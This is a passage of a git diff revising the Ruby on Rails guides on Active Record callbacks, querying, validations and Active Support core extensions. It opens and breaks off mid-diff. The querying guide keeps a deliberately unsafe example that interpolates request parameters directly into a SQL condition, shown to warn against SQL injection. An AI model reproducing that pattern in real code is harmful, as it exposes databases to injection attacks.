+=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05"> + +# triggers @employee.company.touch +>> @employee.touch +Employee/Company was touched +An Employee was touched +=> true +``` + Running Callbacks ----------------- @@ -167,6 +216,7 @@ Additionally, the `after_find` callback is triggered by the following finder met * `all` * `first` * `find` +* `find_by` * `find_by_*` * `find_by_*!` * `find_by_sql` @@ -179,7 +229,7 @@ NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated aut Skipping Callbacks ------------------ -Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. +Just as with validations, it is also possible to skip callbacks by using the following methods: * `decrement` * `decrement_counter` @@ -194,6 +244,8 @@ Just as with validations, it is also possible to skip callbacks. These methods s * `update_all` * `update_counters` +These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data. + Halting Execution ----------------- @@ -201,7 +253,7 @@ As you start registering new callbacks for your models, they will be queued for The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception. -WARNING. Raising an arbitrary exception may break code that expects `save` and its friends not to fail like that. The `ActiveRecord::Rollback` exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised. +WARNING. Any exception that is not `ActiveRecord::Rollback` will be re-raised by Rails after the callback chain is halted. Raising an exception other than `ActiveRecord::Rollback` may break code that does not expect methods like `save` and `update_attributes` (which normally try to return `true` or `false`) to raise an exception. Relational Callbacks -------------------- @@ -287,7 +339,7 @@ Here's an example where we create a class with an `after_destroy` callback for a ```ruby class PictureFileCallbacks def after_destroy(picture_file) - if File.exists?(picture_file.filepath) + if File.exist?(picture_file.filepath) File.delete(picture_file.filepath) end end @@ -307,7 +359,7 @@ Note that we needed to instantiate a new `PictureFileCallbacks` object, since we ```ruby class PictureFileCallbacks def self.after_destroy(picture_file) - if File.exists?(picture_file.filepath) + if File.exist?(picture_file.filepath) File.delete(picture_file.filepath) end end @@ -342,7 +394,7 @@ By using the `after_commit` callback we can account for this case. ```ruby class PictureFile < ActiveRecord::Base - after_commit :delete_picture_file_from_disk, :on => [:destroy] + after_commit :delete_picture_file_from_disk, on: [:destroy] def delete_picture_file_from_disk if File.exist?(filepath) @@ -355,4 +407,4 @@ end NOTE: the `:on` option specifies when a callback will be fired. If you don't supply the `:on` option the callback will fire for every action. -The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. +WARNING. The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback. diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md index 2589accadd..4725e2c8a2 100644 --- a/guides/source/active_record_querying.md +++ b/guides/source/active_record_querying.md @@ -58,6 +58,7 @@ The methods are: * `bind` * `create_with` +* `distinct` * `eager_load` * `extending` * `from` @@ -76,7 +77,6 @@ The methods are: * `reorder` * `reverse_order` * `select` -* `distinct` * `uniq` * `where` @@ -91,7 +91,7 @@ The primary operation of `Model.find(options)` can be summarized as: ### Retrieving a Single Object -Active Record provides five different ways of retrieving a single object. +Active Record provides several different ways of retrieving a single object. #### Using a Primary Key @@ -436,7 +436,7 @@ to this code: Client.where("orders_count = #{params[:orders]}") ``` -because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. +because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection). @@ -473,7 +473,7 @@ In the case of a belongs_to relationship, an association key can be used to spec ```ruby Post.where(author: author) -Author.joins(:posts).where(posts: {author: author}) +Author.joins(:posts).where(posts: { author: author }) ``` NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`. @@ -524,12 +524,18 @@ To retrieve records from the database in a specific order, you can use the `orde For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table: ```ruby +Client.order(:created_at) +# OR Client.order("created_at") ``` You could specify `ASC` or `DESC` as well: ```ruby +Client.order(created_at: :desc) +# OR +Client.order(created_at: :asc) +# OR Client.order("created_at DESC") # OR Client.order("created_at ASC") @@ -538,16 +544,20 @@ Client.order("created_at ASC") Or ordering by multiple fields: ```ruby +Client.order(orders_count: :asc, created_at: :desc) +# OR +Client.order(:orders_count, created_at: :desc) +# OR Client.order("orders_count ASC, created_at DESC") # OR Client.order("orders_count ASC", "created_at DESC") ``` -If you want to call `order` multiple times e.g. in different context, new order will prepend previous one +If you want to call `order` multiple times e.g. in different context, new order will append previous one ```ruby Client.order("orders_count ASC").order("created_at DESC") -# SELECT * FROM clients ORDER BY created_at DESC, orders_count ASC +# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC ``` Selecting Specific Fields @@ -675,9 +685,9 @@ This will return single order objects for each day, but only those that are orde Overriding Conditions --------------------- -### `except` +### `unscope` -You can specify certain conditions to be excepted by using the `except` method. For example: +You can specify certain conditions to be removed using the `unscope` method. For example: ```ruby Post.where('id > 10').limit(20).order('id asc').except(:order) @@ -687,27 +697,25 @@ The SQL that would be executed: ```sql SELECT * FROM posts WHERE id > 10 LIMIT 20 -``` - -### `unscope` -The `except` method does not work when the relation is merged. For example: +# Original query without `unscope` +SELECT * FROM posts WHERE id > 10 ORDER BY id asc LIMIT 20 -```ruby -Post.comments.except(:order) ``` -will still have an order if the order comes from a default scope on Comment. In order to remove all ordering, even from relations which are merged in, use unscope as follows: +You can additionally unscope specific where clauses. For example: ```ruby -Post.order('id DESC').limit(20).unscope(:order) = Post.limit(20) -Post.order('id DESC').limit(20).unscope(:order, :limit) = Post.all +Post.where(id: 10, trashed: false).unscope(where: :id) +# => SELECT "posts".* FROM "posts" WHERE trashed = 0 ``` -You can additionally unscope specific where clauses. For example: +A relation which has used `unscope` will affect any relation it is +merged in to: ```ruby -Post.where(:id => 10).limit(1).unscope(:where => :id, :limit).order('id DESC') = Post.order('id DESC') +Post.order('id asc').merge(Post.unscope(:order)) +# => SELECT "posts".* FROM "posts" ``` ### `only` @@ -722,6 +730,10 @@ The SQL that would be executed: ```sql SELECT * FROM posts WHERE id > 10 ORDER BY id DESC + +# Original query without `only` +SELECT "posts".* FROM "posts" WHERE (id > 10) ORDER BY id desc LIMIT 20 + ``` ### `reorder` @@ -732,7 +744,7 @@ The `reorder` method overrides the default scope order. For example: class Post < ActiveRecord::Base .. .. - has_many :comments, order: 'posted_at DESC' + has_many :comments, -> { order('posted_at DESC') } end Post.find(10).comments.reorder('name') @@ -778,6 +790,32 @@ SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC This method accepts **no** arguments. +### `rewhere` + +The `rewhere` method overrides an existing, named where condition. For example: + +```ruby +Post.where(trashed: true).rewhere(trashed: false) +``` + +The SQL that would be executed: + +```sql +SELECT * FROM posts WHERE `trashed` = 0 +``` + +In case the `rewhere` clause is not used, + +```ruby +Post.where(trashed: true).where(trashed: false) +``` + +the SQL executed would be: + +```sql +SELECT * FROM posts WHERE `trashed` = 1 AND `trashed` = 0 +``` + Null Relation ------------- @@ -925,7 +963,7 @@ WARNING: This method only works with `INNER JOIN`. Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method. -For example, consider the following `Category`, `Post`, `Comments` and `Guest` models: +For example, consider the following `Category`, `Post`, `Comment`, `Guest` and `Tag` models: ```ruby class Category < ActiveRecord::Base @@ -1004,7 +1042,7 @@ Or, in English: "return all posts that have a comment made by a guest." #### Joining Nested Associations (Multiple Level) ```ruby -Category.joins(posts: [{comments: :guest}, :tags]) +Category.joins(posts: [{ comments: :guest }, :tags]) ``` This produces: @@ -1030,7 +1068,7 @@ An alternative and cleaner syntax is to nest the hash conditions: ```ruby time_range = (Time.now.midnight - 1.day)..Time.now.midnight -Client.joins(:orders).where(orders: {created_at: time_range}) +Client.joins(:orders).where(orders: { created_at: time_range }) ``` This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression. @@ -1091,7 +1129,7 @@ This loads all the posts and the associated category and comments for each post. #### Nested Associations Hash ```ruby -Category.includes(posts: [{comments: :guest}, :tags]).find(1) +Category.includes(posts: [{ comments: :guest }, :tags]).find(1) ``` This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association. @@ -1171,7 +1209,7 @@ class Post < ActiveRecord::Base end ``` -This may then be called using this: +Call the scope as if it were a class method: ```ruby Post.created_before(Time.zone.now) @@ -1203,7 +1241,6 @@ class User < ActiveRecord::Base scope :inactive, -> { where state: 'inactive' } end -```ruby User.active.inactive # => SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive' ``` @@ -1229,7 +1266,7 @@ One important caveat is that `default_scope` will be overridden by ```ruby class User < ActiveRecord::Base - default_scope { where state: 'pending' } + default_scope { where state: 'pending' } scope :active, -> { where state: 'active' } scope :inactive, -> { where state: 'inactive' } end @@ -1284,7 +1321,7 @@ especially useful if a `default_scope` is specified in the model and should not applied for this particular query. ```ruby -Client.unscoped.all +Client.unscoped.load ``` This method removes all scoping and will do a normal query on the table. @@ -1301,6 +1338,11 @@ Client.unscoped { Dynamic Finders --------------- +NOTE: Dynamic finders have been deprecated in Rails 4.0 and will be +removed in Rails 4.1. The best practice is to use Active Record scopes +instead. You can find the deprecation gem at +https://github.com/rails/activerecord-deprecated_finders + For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and methods. You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")` @@ -1336,7 +1378,7 @@ COMMIT The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`). -Suppose we want to set the 'locked' attribute to true if we're +Suppose we want to set the 'locked' attribute to `false` if we're creating a new record, but we don't want to include it in the query. So we want to find the client named "Andy", or if that client doesn't exist, create a client named "Andy" which is not locked. @@ -1444,7 +1486,7 @@ Client.pluck(:id, :name) # => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']] ``` -`pluck` makes it possible to replace code like +`pluck` makes it possible to replace code like: ```ruby Client.select(:id).map { |c| c.id } @@ -1454,7 +1496,7 @@ Client.select(:id).map(&:id) Client.select(:id, :name).map { |c| [c.id, c.name] } ``` -with +with: ```ruby Client.pluck(:id) @@ -1462,6 +1504,37 @@ Client.pluck(:id) Client.pluck(:id, :name) ``` +Unlike `select`, `pluck` directly converts a database result into a Ruby `Array`, +without constructing `ActiveRecord` objects. This can mean better performance for +a large or often-running query. However, any model method overrides will +not be available. For example: + +```ruby +class Client < ActiveRecord::Base + def name + "I am #{super}" + end +end + +Client.select(:name).map &:name +# => ["I am David", "I am Jeremy", "I am Jose"] + +Client.pluck(:name) +# => ["David", "Jeremy", "Jose"] +``` + +Furthermore, unlike `select` and other `Relation` scopes, `pluck` triggers an immediate +query, and thus cannot be chained with any further scopes, although it can work with +scopes already constructed earlier: + +```ruby +Client.pluck(:name).limit(1) +# => NoMethodError: undefined method `limit' for #<Array:0x007ff34d3ad6d8> + +Client.limit(1).pluck(:name) +# => ["David"] +``` + ### `ids` `ids` can be used to pluck all the IDs for the relation using the table's primary key. @@ -1483,18 +1556,21 @@ Person.ids Existence of Objects -------------------- -If you simply want to check for the existence of the object there's a method called `exists?`. This method will query the database using the same query as `find`, but instead of returning an object or collection of objects it will return either `true` or `false`. +If you simply want to check for the existence of the object there's a method called `exists?`. +This method will query the database using the same query as `find`, but instead of returning an +object or collection of objects it will return either `true` or `false`. ```ruby Client.exists?(1) ``` -The `exists?` method also takes multiple ids, but the catch is that it will return true if any one of those records exists. +The `exists?` method also takes multiple values, but the catch is that it will return `true` if any +one of those records exists. ```ruby -Client.exists?(1,2,3) +Client.exists?(id: [1,2,3]) # or -Client.exists?([1,2,3]) +Client.exists?(name: ['John', 'Sergei']) ``` It's even possible to use `exists?` without any arguments on a model or a relation. @@ -1503,7 +1579,8 @@ It's even possible to use `exists?` without any arguments on a model or a relati Client.where(first_name: 'Ryan').exists? ``` -The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` otherwise. +The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` +otherwise. ```ruby Client.exists? @@ -1553,7 +1630,7 @@ Client.where(first_name: 'Ryan').count You can also use various finder methods on a relation for performing complex calculations: ```ruby -Client.includes("orders").where(first_name: 'Ryan', orders: {status: 'received'}).count +Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count ``` Which will execute: diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md index df39d3c5dc..efa826e8df 100644 --- a/guides/source/active_record_validations.md +++ b/guides/source/active_record_validations.md @@ -120,8 +120,8 @@ database only if the object is valid: * `update!` The bang versions (e.g. `save!`) raise an exception if the record is invalid. -The non-bang versions don't: `save` and `update` return `false`, -`create` and `update` just return the objects. +The non-bang versions don't, `save` and `update` return `false`, +`create` just returns the object. ### Skipping Validations @@ -162,8 +162,8 @@ Person.create(name: nil).valid? # => false ``` After Active Record has performed validations, any errors found can be accessed -through the `errors` instance method, which returns a collection of errors. By -definition, an object is valid if this collection is empty after running +through the `errors.messages` instance method, which returns a collection of errors. +By definition, an object is valid if this collection is empty after running validations. Note that an object instantiated with `new` will not report errors even if it's @@ -175,28 +175,28 @@ class Person < ActiveRecord::Base end >> p = Person.new -#=> #<Person id: nil, name: nil> ->> p.errors -#=> {} +# => #<Person id: nil, name: nil> +>> p.errors.messages +# => {} >> p.valid? -#=> false ->> p.errors -#=> {name:["can't be blank"]} +# => false +>> p.errors.messages +# => {name:["can't be blank"]} >> p = Person.create -#=> #<Person id: nil, name: nil> ->> p.errors -#=> {name:["can't be blank"]} +# => #<Person id: nil, name: nil> +>> p.errors.messages +# => {name:["can't be blank"]} >> p.save -#=> false +# => false >> p.save! -#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank >> Person.create! -#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank +# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank ``` `invalid?` is simply the inverse of `valid?`. It triggers your validations, @@ -243,7 +243,7 @@ line of code you can add the same kind of validation to several attributes. All of them accept the `:on` and `:message` options, which define when the validation should be run and what message should be added to the `errors` collection if it fails, respectively. The `:on` option takes one of the values -`:save` (the default), `:create` or `:update`. There is a default error +`:create` or `:update`. There is a default error message for each one of the validation helpers. These messages are used when the `:message` option isn't specified. Let's take a look at each one of the available helpers. @@ -337,7 +337,7 @@ set. In fact, this set can be any enumerable object. ```ruby class Account < ActiveRecord::Base validates :subdomain, exclusion: { in: %w(www us ca jp), - message: "Subdomain %{value} is reserved." } + message: "%{value} is reserved." } end ``` @@ -357,7 +357,7 @@ given regular expression, which is specified using the `:with` option. ```ruby class Product < ActiveRecord::Base validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/, - message: "Only letters allowed" } + message: "only allows letters" } end ``` @@ -434,12 +434,10 @@ end Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when `:minimum` is 1 you should -provide a personalized message or use `validates_presence_of` instead. When +provide a personalized message or use `presence: true` instead. When `:in` or `:within` have a lower limit of 1, you should either provide a personalized message or call `presence` prior to `length`. -The `size` helper is an alias for `length`. - ### `numericality` This helper validates that your attributes have only numeric values. By @@ -528,7 +526,7 @@ If you validate the presence of an object associated via a `has_one` or Since `false.blank?` is true, if you want to validate the presence of a boolean field you should use `validates :field_name, inclusion: { in: [true, false] }`. -The default error message is _"can't be empty"_. +The default error message is _"can't be blank"_. ### `absence` @@ -677,14 +675,14 @@ class GoodnessValidator def initialize(person) @person = person end - + def validate if some_complex_condition_involving_ivars_and_private_methods? @person.errors[:base] << "This person is evil" end end - - # … + + # ... end ``` @@ -736,8 +734,8 @@ class Topic < ActiveRecord::Base validates :title, length: { is: 5 }, allow_blank: true end -Topic.create("title" => "").valid? # => true -Topic.create("title" => nil).valid? # => true +Topic.create(title: "").valid? # => true +Topic.create(title: nil).valid? # => true ``` ### `:message` @@ -765,7 +763,7 @@ class Person < ActiveRecord::Base validates :age, numericality: true, on: :update # the default (validates on both create and update) - validates :name, presence: true, on: :save + validates :name, presence: true end ``` @@ -783,7 +781,7 @@ end Person.new.valid? # => ActiveModel::StrictValidationFailed: Name can't be blank ``` -There is also an ability to pass custom exception to `:strict` option +There is also an ability to pass custom exception to `:strict` option. ```ruby class Person < ActiveRecord::Base @@ -992,12 +990,12 @@ end person = Person.new person.valid? # => false -person.errors +person.errors.messages # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]} person = Person.new(name: "John Doe") person.valid? # => true -person.errors # => [] +person.errors.messages # => {} ``` ### `errors[]` diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md index 101a4f5b42..1a43bd206e 100644 --- a/guides/source/active_support_core_extensions.md +++ b/guides/source/active_support_core_extensions.md @@ -10,7 +10,7 @@ After reading this guide, you will know: * What Core Extensions are. * How to load all extensions. * How to cherry-pick just the extensions you want. -* What extensions ActiveSupport provides. +* What extensions Active Support provides. -------------------------------------------------------------------------------- @@ -37,9 +37,10 @@ For every single method defined as a core extension this guide has a note that s NOTE: Defined in `active_support/core_ext/object/blank.rb`. -That means that this single call is enough: +That means that you can require it like this: ```ruby +require 'active_support' require 'active_support/core_ext/object/blank' ``` @@ -52,6 +53,7 @@ The next level is to simply load all extensions to `Object`. As a rule of thumb, Thus, to load all extensions to `Object` (including `blank?`): ```ruby +require 'active_support' require 'active_support/core_ext/object' ``` @@ -60,6 +62,7 @@ require 'active_support/core_ext/object' You may prefer just to load all core extensions, there is a file for that: ```ruby +require 'active_support' require 'active_support/core_ext' ``` @@ -96,12 +99,13 @@ INFO: The predicate for strings uses the Unicode-aware character class `[:space: WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank. -For example, this method from `ActionDispatch::Session::AbstractStore` uses `blank?` for checking whether a session key is present: +For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses `blank?` for checking whether a token is present: ```ruby -def ensure_session_key! - if @key.blank? - raise ArgumentError, 'A key is required...' +def authenticate(controller, &login_procedure) + token, options = token_and_options(controller.request) + unless token.blank? + login_procedure.call(token, options) end end ``` @@ -166,7 +170,7 @@ NOTE: Defined in `active_support/core_ext/object/duplicable.rb`. ### `deep_dup` -The `deep_dup` method returns deep copy of a given object. Normally, when you `dup` an object that contains other objects, ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this: +The `deep_dup` method returns deep copy of a given object. Normally, when you `dup` an object that contains other objects, Ruby does not `dup` them, so it creates a shallow copy of the object. If you have an array with a string, for example, it will look like this: ```ruby array = ['string'] @@ -175,14 +179,14 @@ duplicate = array.dup duplicate.push 'another-string' # the object was duplicated, so the element was added only to the duplicate -array #=> ['string'] -duplicate #=> ['string', 'another-string'] +array # => ['string'] +duplicate # => ['string', 'another-string'] duplicate.first.gsub!('string', 'foo') # first element was not duplicated, it will be changed in both arrays -array #=> ['foo'] -duplicate #=> ['foo', 'another-string'] +array # => ['foo'] +duplicate # => ['foo', 'another-string'] ``` As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object. @@ -195,8 +199,8 @@ duplicate = array.deep_dup duplicate.first.gsub!('string', 'foo') -array #=> ['string'] -duplicate #=> ['foo'] +array # => ['string'] +duplicate # => ['foo'] ``` If the object is not duplicable, `deep_dup` will just return it: @@ -418,6 +422,12 @@ TIP: Since `with_options` forwards calls to its receiver they can be nested. Eac NOTE: Defined in `active_support/core_ext/object/with_options.rb`. +### JSON support + +Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash`, `OrderedHash` and `Process::Status` need special handling in order to provide a proper JSON representation. + +NOTE: Defined in `active_support/core_ext/object/json.rb`. + ### Instance Variables Active Support provides several methods to ease access to instance variables. @@ -439,6 +449,22 @@ C.new(0, 1).instance_values # => {"x" => 0, "y" => 1} NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`. +#### `instance_variable_names` + +The method `instance_variable_names` returns an array. Each name includes the "@" sign. + +```ruby +class C + def initialize(x, y) + @x, @y = x, y + end +end + +C.new(0, 1).instance_variable_names # => ["@x", "@y"] +``` + +NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`. + ### Silencing Warnings, Streams, and Exceptions The methods `silence_warnings` and `enable_warnings` change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards: @@ -476,12 +502,11 @@ NOTE: Defined in `active_support/core_ext/kernel/reporting.rb`. ### `in?` -The predicate `in?` tests if an object is included in another object or a list of objects. An `ArgumentError` exception will be raised if a single argument is passed and it does not respond to `include?`. +The predicate `in?` tests if an object is included in another object. An `ArgumentError` exception will be raised if the argument passed does not respond to `include?`. Examples of `in?`: ```ruby -1.in?(1,2) # => true 1.in?([1,2]) # => true "lo".in?("hello") # => true 25.in?(30..50) # => false @@ -599,7 +624,7 @@ NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`. #### Module Attributes -The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes). +The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes). For example, the dependencies mechanism uses them: @@ -710,7 +735,7 @@ X.local_constants # => [:X1, :X2, :Y] X::Y.local_constants # => [:Y1, :X1] ``` -The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.) +The names are returned as symbols. NOTE: Defined in `active_support/core_ext/module/introspection.rb`. @@ -863,7 +888,7 @@ class User < ActiveRecord::Base end ``` -With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: +With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly: ```ruby class User < ActiveRecord::Base @@ -1039,7 +1064,7 @@ For convenience `class_attribute` also defines an instance predicate which is th When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method. -If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined. +If you do not want the instance predicate, pass `instance_predicate: false` and it will not be defined. NOTE: Defined in `active_support/core_ext/class/attribute.rb` @@ -1068,6 +1093,15 @@ end we can access `field_error_proc` in views. +Also, you can pass a block to `cattr_*` to set up the attribute with a default value: + +```ruby +class MysqlAdapter < AbstractAdapter + # Generates class methods to access @@emulate_booleans with default value of true. + cattr_accessor(:emulate_booleans) { true } +end +``` + The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value. ```ruby @@ -1085,7 +1119,7 @@ end A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute. -NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`. +NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. `active_support/core_ext/class/attribute_accessors.rb` is deprecated and will be removed in Ruby on Rails 4.2. ### Subclasses & Descendants @@ -1225,6 +1259,18 @@ Calling `to_s` on a safe string returns a safe string, but coercion with `to_str Calling `dup` or `clone` on safe strings yields safe strings. +### `remove` + +The method `remove` will remove all occurrences of the pattern: + +```ruby +"Hello World".remove(/Hello /) => "World" +``` + +There's also the destructive version `String#remove!`. + +NOTE: Defined in `active_support/core_ext/string/filters.rb`. + ### `squish` The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each: @@ -1424,7 +1470,7 @@ The method `pluralize` returns the plural of its receiver: As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments. -`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned: +`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned: ```ruby "dude".pluralize(0) # => "dudes" @@ -1508,7 +1554,7 @@ ActiveSupport::Inflector.inflections do |inflect| inflect.acronym 'SSL' end -"SSLError".underscore.camelize #=> "SSLError" +"SSLError".underscore.camelize # => "SSLError" ``` `camelize` is aliased to `camelcase`. @@ -1738,6 +1784,12 @@ The method `humanize` gives you a sensible name for display out of an attribute "comments_count".humanize # => "Comments count" ``` +The capitalization of the first word can be turned off by setting the optional parameter `capitalize` to false: + +```ruby +"author_id".humanize(capitalize: false) # => "author" +``` + The helper method `full_messages` uses `humanize` as a fallback to include attribute names: ```ruby @@ -1964,7 +2016,7 @@ Produce a string representation of a number in human-readable words: 1234567890123456.to_s(:human) # => "1.23 Quadrillion" ``` -NOTE: Defined in `active_support/core_ext/numeric/formatting.rb`. +NOTE: Defined in `active_support/core_ext/numeric/conversions.rb`. Extensions to `Integer` ----------------------- @@ -2012,8 +2064,33 @@ NOTE: Defined in `active_support/core_ext/integer/inflections.rb`. Extensions to `BigDecimal` -------------------------- +### `to_s` -... +The method `to_s` is aliased to `to_formatted_s`. This provides a convenient way to display a BigDecimal value in floating-point notation: + +```ruby +BigDecimal.new(5.00, 6).to_s # => "5.0" +``` + +### `to_formatted_s` + +Te method `to_formatted_s` provides a default specifier of "F". This means that a simple call to `to_formatted_s` or `to_s` will result in floating point representation instead of engineering notation: + +```ruby +BigDecimal.new(5.00, 6).to_formatted_s # => "5.0" +``` + +and that symbol specifiers are also supported: + +```ruby +BigDecimal.new(5.00, 6).to_formatted_s(:db) # => "5.0" +``` + +Engineering notation is still supported: + +```ruby +BigDecimal.new(5.00, 6).to_formatted_s("e") # => "0.5E1" +``` Extensions to `Enumerable` -------------------------- @@ -2208,15 +2285,15 @@ The defaults for these options can be localized, their keys are: | `:words_connector` | `support.array.words_connector` | | `:last_word_connector` | `support.array.last_word_connector` | -Options `:connector` and `:skip_last_comma` are deprecated. - NOTE: Defined in `active_support/core_ext/array/conversions.rb`. #### `to_formatted_s` The method `to_formatted_s` acts like `to_s` by default. -If the array contains items that respond to `id`, however, it may be passed the symbol `:db` as argument. That's typically used with collections of ARs. Returned strings are: +If the array contains items that respond to `id`, however, the symbol +`:db` may be passed as argument. That's typically used with +collections of Active Record objects. Returned strings are: ```ruby [].to_formatted_s(:db) # => "null" @@ -2372,7 +2449,8 @@ NOTE: Defined in `active_support/core_ext/array/wrap.rb`. ### Duplicating -The method `Array.deep_dup` duplicates itself and all objects inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside. +The method `Array.deep_dup` duplicates itself and all objects inside +recursively with Active Support method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside. ```ruby array = [1, [2, 3]] @@ -2381,7 +2459,7 @@ dup[1][2] = 4 array[1][2] == nil # => true ``` -NOTE: Defined in `active_support/core_ext/array/deep_dup.rb`. +NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. ### Grouping @@ -2593,7 +2671,8 @@ NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`. ### Deep duplicating -The method `Hash.deep_dup` duplicates itself and all keys and values inside recursively with ActiveSupport method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside. +The method `Hash.deep_dup` duplicates itself and all keys and values +inside recursively with Active Support method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside. ```ruby hash = { a: 1, b: { c: 2, d: [3, 4] } } @@ -2606,45 +2685,7 @@ hash[:b][:e] == nil # => true hash[:b][:d] == [3, 4] # => true ``` -NOTE: Defined in `active_support/core_ext/hash/deep_dup.rb`. - -### Diffing - -The method `diff` returns a hash that represents a diff of the receiver and the argument with the following logic: - -* Pairs `key`, `value` that exist in both hashes do not belong to the diff hash. - -* If both hashes have `key`, but with different values, the pair in the receiver wins. - -* The rest is just merged. - -```ruby -{a: 1}.diff(a: 1) -# => {}, first rule - -{a: 1}.diff(a: 2) -# => {:a=>1}, second rule - -{a: 1}.diff(b: 2) -# => {:a=>1, :b=>2}, third rule - -{a: 1, b: 2, c: 3}.diff(b: 1, c: 3, d: 4) -# => {:a=>1, :b=>2, :d=>4}, all rules - -{}.diff({}) # => {} -{a: 1}.diff({}) # => {:a=>1} -{}.diff(a: 1) # => {:a=>1} -``` - -An important property of this diff hash is that you can retrieve the original hash by applying `diff` twice: - -```ruby -hash.diff(hash2).diff(hash2) == hash -``` - -Diffing hashes may be useful for error messages related to expected option hashes for example. - -NOTE: Defined in `active_support/core_ext/hash/diff.rb`. +NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. ### Working with Keys @@ 